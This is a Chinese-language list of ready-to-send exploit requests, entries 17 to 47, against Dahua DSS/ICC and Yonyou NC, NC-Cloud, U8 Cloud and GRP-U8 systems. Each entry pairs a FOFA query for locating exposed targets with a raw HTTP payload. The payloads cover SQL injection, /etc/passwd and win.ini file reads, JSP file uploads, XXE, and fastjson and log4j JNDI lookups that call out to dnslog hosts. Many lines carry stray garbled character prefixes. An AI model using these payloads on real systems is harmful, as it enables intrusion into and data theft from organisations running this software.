# |$ a  K- d' J/ {! Z4 ~) v
. j3 p" Z" q) ?  g5 t8 l( W
17. 大华 DSS itcBulletin SQL 注入
FOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
/ {8 o' C5 F. n/ aHost: x.x.x.x
6 \" u! e7 c( Y, I9 _. A0 TUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
& E% h) ^9 W$ `$ F) `Connection: close
! b/ K! y. v  x3 l8 FContent-Length: 345
Accept-Encoding: gzip
+ |/ q4 h! K. x) h
<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
' f0 W0 @, Q/ W; @' s      <netMarkings>
2 x7 n* x+ C! h: f/ @0 K% s  @       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
1 h5 \* l- O( A( F& c$ z" F* O$ p0 ~6 T      </netMarkings>
# m% a# w2 z+ E5 x1 A$ r    </ns1:deleteBulletin>
+ N) _1 x! X% R6 s9 f  </s11:Body>
5 F6 _1 `% O, O( F7 R: h</s11:Envelope>


18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
% ?0 `2 o+ M$ w+ ?FOFA：app="dahua-DSS"
+ J, F8 g' D; ]+ _) J4 }- EGET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
/ K* l: O$ }& |6 QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
' ]( B& x1 b5 h' c" z+ _8 s/ aAccept: */*
Connection: keep-alive
5 @9 F" k& p& B$ h4 Y2 I5 T. K
2 p" Q  O6 O' q2 o' k7 `3 E; M8 Q

, Y; t5 g/ j# H- W8 w19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
) I, K) J* p$ m. ~9 {FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
2 q; n% d5 W3 K1 y6 F# c$ c0 }Accept: */*
Connection: keep-alive


0 o, P- N% k8 f4 V" L# v, y20. 大华ICC智能物联综合管理平台任意文件读取
# D) w2 ]" ~2 B% ]' I2 v5 h: F* \' eFOFA：body="*客户端会小于800*"
  {6 P1 m) g/ {- [" _GET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
1 a0 X9 m+ F5 w$ s' q+ S5 FUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
/ q$ X9 R8 t, P% C' ZAccept: */*
% f( n. @" Q8 L, C1 Y) X1 uAccept-Language: en
  {: x0 c- U* I5 t1 q1 A6 m5 YAccept-Encoding: gzip

- M# S) j' D) X& {
$ ~; z# c0 |! T21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
- V! H4 p6 m* y1 y3 ?9 bPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
4 }) H6 Y- A% v6 \& w8 y+ |8 qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 161
Accept-Encoding: gzip
Connection: close
& q2 ]3 j: Z' L6 V( K! xContent-Type: application/json;charset=utf-8

8 B/ y6 r- P: e! U. i) B: l& }, @- T{
) c6 _, l: q5 h: V. V"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
1 s3 `$ i3 d" ?8 y) Q    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
  }""
# f6 B2 e$ ^! B9 c" r' u  K/ D% b}

* D, b5 x' ?) P. T6 t
% n, s. }: k6 i22. 大华ICC智能物联综合管理平台 log4j远程代码执行
- Z- E: {( D( V; t* q9 k- A+ ZFOFA：icon_hash="-1935899595"
3 [+ L' m7 w0 J# _3 ?/ w2 G7 DPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
1 N# a' ~% X( o+ Z& H8 \  G& KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
# l) \) U# _( b2 Q( RContent-Type: application/json;charset=utf-8
- t. a  P6 ]" R# G; M
{
"loginName":"${jndi:ldap://dnslog}"
}

' ~# u# U& B4 c" i0 ?
- }- \* S3 D$ r9 z: M
- [  ]" }  }" J$ X! Q. t23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
FOFA：icon_hash="-1935899595"
( r2 l- _9 i3 L, r' nPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: your-ip
$ e+ z9 q5 i$ w5 n7 V& {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json;charset=utf-8
/ r2 J: d( M. m$ U! W7 b  HAccept-Encoding: gzip
Connection: close
1 B* k  t) ~# X" Z) j+ P
{
    "a":{
3 s0 E1 @) b# `/ p* L* q+ B        "@type":"com.alibaba.fastjson.JSONObject",
       {"@type":"java.net.URL","val":"http://DNSLOG"}
" r. v  K8 V! r: N. L7 }) i        }""
}

% W" ?8 {7 @  M& p/ U! ?# x+ B* K
, B1 _8 ^" L$ O, \4 L24. 用友NC 6.5 accept.jsp任意文件上传
& V. R, D; y+ s8 ?4 @' u' n* TFOFA：icon_hash="1085941792"
POST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
# u) `3 \; a$ IConnection: close
Content-Length: 449
: D( A6 p" f+ D8 z2 FAccept: */*
9 U9 Z7 {( F- {1 wAccept-Encoding: gzip
' G; u. M" n. b8 Q7 mContent-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
! v# ~& E$ L, c5 U0 @
6 r. s' o) F" i/ z-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
- b" p# E* f. [5 R# w3 @5 D1 bContent-Type: text/plain
# l: C" I' U# o/ [+ a$ B6 w
4 y3 z  b6 L7 A/ D7 D% v4 ?' A<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--


25. 用友NC registerServlet JNDI 远程代码执行
3 a& A- A6 I) Q& F& [) I/ MFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
6 h8 b. a( G8 O% X, qAccept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
; y/ M& q% G2 P* TContent-Type: application/x-www-form-urlencoded
6 f$ H1 z7 m7 o* r
type=1&dsname=ldap://dnslog
! J/ e' F) o0 X* A! C: Y" w! L


( j9 T! R- P2 k% q; }26. 用友NC linkVoucher SQL注入
- Z6 N7 L! W8 k+ |8 x/ f+ mFOFA：app="用友-UFIDA-NC"
GET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
1 L  [9 _+ W; \. MConnection: keep-alive


27. 用友 NC showcontent SQL注入
FOFA：icon_hash="1085941792"
) x* b/ v4 i) ?* e* X4 m: pGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: identity
Connection: close
# S4 W0 H1 `7 J( V7 EContent-Type: text/xml; charset=utf-8

3 c4 c$ q$ z8 N4 o" w! T+ B
( ^2 T2 }. ]" s5 P# _28. 用友NC grouptemplet 任意文件上传
4 y7 b" s2 p% }$ H& FFOFA：icon_hash="1085941792"
& P( ]  F3 A. B, N8 ]/ c2 C5 iPOST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
Host: x.x.x.x
9 ^! o) P6 [/ F" Z0 j+ PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
5 I, |5 h- e. oConnection: close
0 E( f; A7 P( o. }Content-Length: 268
' g7 O) @0 n/ T) VContent-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
4 \5 ]2 F! Q( [2 Y
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
; C7 I' \) [  }1 vContent-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
, N* P( k& j5 C  B$ o$ a0 Z/ g( KContent-Type: application/octet-stream

<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--


- V8 h' L+ c( M2 {" u( d2 D/uapim/static/pages/nc/head.jsp

29. 用友NC down/bill SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
# |4 I8 y+ }0 {0 xHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ C% X) R7 S3 C" [7 s/ g# sContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
- D0 u/ G% L* X7 S+ f- B7 F% xAccept: */*
1 D7 b) J/ Y. Q) aConnection: keep-alive
6 ^0 `+ u) y4 T5 \
7 C, v4 D; I# e' }0 `
- k/ x( F9 m9 l8 h' C% S3 Y) i30. 用友NC importPml SQL注入
) o4 R& F, Z" A' Y5 sFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
+ A! }, }5 K1 ZPOST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
$ U) k9 @1 y6 D; S7 V5 V& B; ?3 PConnection: close

9 p4 n; x+ P$ f) G4 `------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
% Z% Z2 o) V  Q) J9 }* p6 DContent-Type: image/jpeg
  f, E  e5 p! {------WebKitFormBoundaryH970hbttBhoCyj9V--
2 r; s$ F4 [- y! U

4 P0 N5 e9 N7 K+ y% ?31. 用友NC runStateServlet SQL注入
4 c5 x( K( @% X4 q, V9 a+ h8 s- i7 I1 sversion<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
2 b2 |4 P3 A, G" z1 HGET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Type: application/x-www-form-urlencoded


) H: P" K( D& @+ y& v& C32. 用友NC complainbilldetail SQL注入
version= NC633、NC65
FOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
0 o6 V$ c( m9 ~+ K) ZHost: your-ip
6 {. _$ p+ l6 _3 g' cUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
- f' [6 K) W8 N; VAccept: */*
) z% q& u* y5 i3 r# sConnection: keep-alive

, Z  V% h6 P" M* y3 q1 ?/ {
33. 用友NC downTax/download SQL注入
. H" Y9 Y, ]$ F5 eversion：NC6.5FOFA：app="用友-UFIDA-NC"
- K0 f8 |( M4 b/ P' b. n$ {$ P) B, [3 cGET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
7 ~2 k# m) g) e1 D" s' n5 mHost: your-ip
' ^; m2 J: e' P* SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
3 N8 G' h( J$ K8 b3 NAccept-Encoding: gzip, deflate
( w1 p. H$ G( r8 [8 KAccept: */*
9 k1 h4 R0 o5 |- GConnection: keep-alive


, b- f1 Q) t* C: W1 ^8 n/ M34. 用友NC warningDetailInfo接口SQL注入
* T$ O2 J9 G- AFOFA：app="用友-UFIDA-NC"
( O1 n: q+ Q9 B0 |6 d' d2 {GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) D2 T( G) n' k! [. T) |4 I1 CContent-Type: application/x-www-form-urlencoded
0 ]+ p; {- d& s7 O2 AAccept-Encoding: gzip, deflate
' H! c% q4 s9 y2 wAccept: */*
Connection: keep-alive
9 }* q' c- L1 T7 b- Z5 w
2 A9 ~1 G  N5 a. X
35. 用友NC-Cloud importhttpscer任意文件上传
* ^8 T) E1 ]# X9 aFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
Host: 203.25.218.166:8888
2 N+ M# H  S% V3 c1 J6 a+ ~User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
Content-Length: 190
# v( y7 Y) H0 p0 S7 dContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0

--fd28cb44e829ed1c197ec3bc71748df0
Content-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"

7 K" ]2 ]2 r; k<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--

/ W( G& m; s5 y& X
8 R$ A. a! p) i% Y7 Q) n: T1 ~36. 用友NC-Cloud soapFormat XXE
7 y  O% k) S( O& d9 ZFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/soapFormat.ajax HTTP/1.1
Host: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
; l- `- l0 ]. V7 iContent-Length: 263
1 Y/ l/ b4 V4 R- r+ `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: h# Q4 [: F( s' dAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
8 K( e" i( H' C  oUpgrade-Insecure-Requests: 1

& g2 C2 r8 u: J" G0 [msg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
, _6 G# c$ V! B' s

37. 用友NC-Cloud IUpdateService XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
$ _1 H5 n7 w& b- Z& f1 |1 mPOST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
2 m. U8 D' p% k4 y: \! FHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
Content-Length: 421
  a3 h* A$ ^7 W' m7 K& V# LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 o+ u8 Y0 [7 S/ M  H7 B9 ~  OConnection: close
! }2 b* e0 P0 L+ R" J  }% `7 nContent-Type: text/xml;charset=UTF-8
4 ]- J. u8 k0 A! USOAPAction: urn:getResult
, r4 j- i# V$ A* V1 V4 bUpgrade-Insecure-Requests: 1

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
; e/ @$ U' T* i7 d<soapenv:Header/>
/ M* V' `, d/ Y. S, \' a) k<soapenv:Body>
<iup:getResult>
<!--type: string-->
<iup:string><![CDATA[
, _9 a0 k+ ~& F( P7 F+ c<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
8 M7 H) t) u" j1 d<xxx/>]]></iup:string>
</iup:getResult>
</soapenv:Body>
</soapenv:Envelope>

$ a8 N; q: G5 x$ D+ E; i

8 m) U$ \" W1 y4 ]3 p) o38. 用友U8 Cloud smartweb2.RPC.d XXE
FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
/ p. R8 o) n5 |+ v/ v. [Host: 192.168.40.131:8088
/ W4 Y; c) R6 O+ z7 G; P' v0 VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
8 e5 h8 E$ ~* K! bContent-Length: 260
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
: Z! h# [2 U9 ^Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
! o8 T: {* ~4 P( a- s% I. vContent-Type: application/x-www-form-urlencoded
$ E  t) }; ^5 x$ |7 g
- o8 N6 n6 \% z; B, ~% y, z7 H__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>
4 Q% p' S+ E. q. y

8 C  X- h& D$ G0 F# K9 i39. 用友U8 Cloud RegisterServlet SQL注入
  p) R# e! h. S- QFOFA：title="u8c"
; h4 C; p: x- y9 q. D5 }0 K( T9 X: c$ T4 DPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
( ?9 L/ h( G6 U0 I% k1 bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
Content-Length: 85
) E9 V5 Z+ ^+ x$ ^4 uAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
4 r/ r. U  m  w5 m: iAccept-Encoding: gzip

" q4 `- e1 n5 G% H# g, q7 cusercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--

, j/ m- P0 ]- b
40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
4 ~; ^( Z, S8 ~& f5 H+ C: I8 dHost: x.x.x.x
4 c; Z$ Y1 L, s  K  m) ]/ x  `1 f$ f8 IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
9 s4 l) E1 g; X& VContent-Type: text/xml
Connection: close
: U& n% W) L, V8 S  V  A' n; M
6 J" c3 E9 r. v2 x7 t! F<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
4 U+ J; J8 f' A
# }7 \8 M- [: B. j5 j7 g+ p
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
FOFA：app="用友-U8-Cloud"
6 \9 X/ X) u" y& Q6 p8 C! PGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
' _) e/ G; q, @6 m1 xHost:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
$ r* h; m1 T0 e# g- {% zAccept-Encoding: gzip
Connection: close
$ f+ g; B6 \! V" {6 b

# j/ u$ f& B! y, T& j& A42. 用友GRP-U8 SmartUpload01 文件上传
+ H+ H4 B: r4 D# {4 q9 f% yFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
Host: x.x.x.x
  |8 n$ {3 ~: w( N9 t  ]7 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36

PAYLOAD

( j3 U2 }9 L, x% p/ c0 B
7 v7 f) t2 s4 ~2 _  K2 p$ _* Ahttp://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
7 y* J$ E, w9 W8 I3 T
- P5 _" _8 ?$ x: O43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
POST /services/userInfoWeb HTTP/1.1
Host: your-ip
8 }& e9 \8 e2 m' Q8 T/ qUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
. S7 Y5 o/ o) l' O5 gConnection: close
SOAPAction:
Content-Type: text/xml;charset=UTF-8

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
8 v- B- T  @7 S$ v  C1 H   <soapenv:Header/>
   <soapenv:Body>
0 C! _$ N9 B# _0 p  q. g8 T* P      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
! |/ _. j1 ~% {( d         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
      </ser:getUserNameById>
1 C2 F% k  i/ d% _- P   </soapenv:Body>
$ g: h5 e! w. X7 U3 K- Z: D</soapenv:Envelope>
  x3 x/ d1 I) U1 p" ~' S3 [
* M: ~# F) X7 {$ ^; U
7 s* C' z% V: R7 p9 S8 M8 H8 C44. 用友GRP-U8 bx_dj_check.jsp SQL注入
FOFA:app="用友-GRP-U8"
GET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
4 F0 T8 L. }# _3 gHost: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
; Y" i; {) h5 {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" I. N: c3 F7 y: YAccept-Language: zh-CN,zh;q=0.9
Connection: close
5 g2 e, y6 \; L4 [5 t
3 M+ J; \! D: E. F7 J6 D3 ?
+ `$ u# ]2 J- M4 h/ Q# r( p45. 用友GRP-U8 ufgovbank XXE
3 k) P4 @: n2 ^5 |FOFA：app="用友-GRP-U8"
POST /ufgovbank HTTP/1.1
" Y  k* [) o% ]% _  oHost: 192.168.40.130:222
8 m- Z! ]* X8 O( L5 N2 t1 R1 {* DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
2 [# E0 D$ _1 R1 J# d7 U. D% xConnection: close
Content-Length: 161
( `- J& _( n7 R& q6 C3 hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 n" [' _2 a' S+ N8 I6 B5 ZContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
( o! {/ d1 x, \
' U* a* }- C" P( T6 d$ F/ L: KreqData=<?xml version="1.0"?>
* M: Y5 o- |# Q" f/ m<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest

/ n  o: S2 T1 g- L% ~% L# E4 I% R
7 S1 D0 K* ?* Y0 a, F/ T8 u0 w46. 用友GRP-U8 sqcxIndex.jsp SQL注入
% \9 y: L3 h% ]FOFA：app="用友-GRP-U8"
GET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
) H# ^) q/ C! e, o8 E4 YHost: your-ip
2 H, }2 c' v. ]+ v* {! c2 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
& q# S4 E( C* \7 H7 O1 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
1 `5 j5 `+ Z$ A' x8 x  ?% DAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 i, q7 d2 r! `Connection: close
8 `6 }. [: W- Y# p

) d$ t0 L3 e- g* G0 p* O* \9 {6 v47. 用友GRP A++Cloud 政府财务云 任意文件读取
* t6 V! Q: O: M# |FOFA：body="/pf/portal/login/css/fonts/style.css"
# i- P3 k* l  c9 a+ _GET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
Cache-Control: max-age=0
( R8 y1 \! j, b6 qUpgrade-Insecure-Requests: 1
- U& m# k7 F) X5 I$ W$ \! v  lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 D( [  z: K8 `" A4 g7 Y  U( PAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
